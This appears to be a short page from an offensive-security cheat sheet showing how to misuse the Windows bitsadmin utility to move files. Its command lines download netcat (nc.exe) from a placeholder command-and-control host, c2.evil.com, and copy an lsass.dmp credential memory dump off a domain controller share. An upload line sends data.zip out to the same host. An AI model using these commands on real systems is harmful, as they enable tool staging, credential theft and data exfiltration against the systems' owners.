Skip to content

BITSADMIN #

Download1 #

  • If you remove the timeout (timeout /T 10) , make sure to still execute bitsadmin /complete JOB after the job has completed.
  • Advantages:
    • Can resume upon disconnection
  • Disadvantages:
    • Slow
      1
      2
      3
      4
      bitsadmin /create JOB & bitsadmin /addfile JOB <REMOTE_SRC> <LOCAL_DST> & bitsadmin /resume JOB & timeout /T 10 & bitsadmin /complete JOB
      bitsadmin /create JOB & bitsadmin /addfile JOB <REMOTE_SRC> <LOCAL_DST> & bitsadmin /resume JOB & timeout /T 10 & bitsadmin /complete JOB
      bitsadmin /create JOB & bitsadmin /addfile JOB https://c2.evil.com/nc.exe %TEMP%\nc.exe & bitsadmin /resume JOB & bitsadmin /complete JOB
      bitsadmin /transfer debjob /download /priority high "\\DC01\c$\Windows\Temp\lsass.dmp" C:\Users\user\Downloads\lsass.dmp
      

Upload #

  • If you remove the timeout (timeout /T 10) , make sure to still execute bitsadmin /complete JOB after the job has completed.
    1
    2
    bitsadmin /create /upload JOB & bitsadmin /addfile JOB <REMOTE_DST> <LOCAL_SRC> & bitsadmin /resume JOB & timeout /T 10 & bitsadmin /complete JOB
    bitsadmin /create /upload JOB & bitsadmin /addfile JOB https://c2.evil.com/data.zip %TEMP%\data.zip & bitsadmin /resume JOB & timeout /T 10 & bitsadmin /complete JOB
    

Last update: May 12, 2021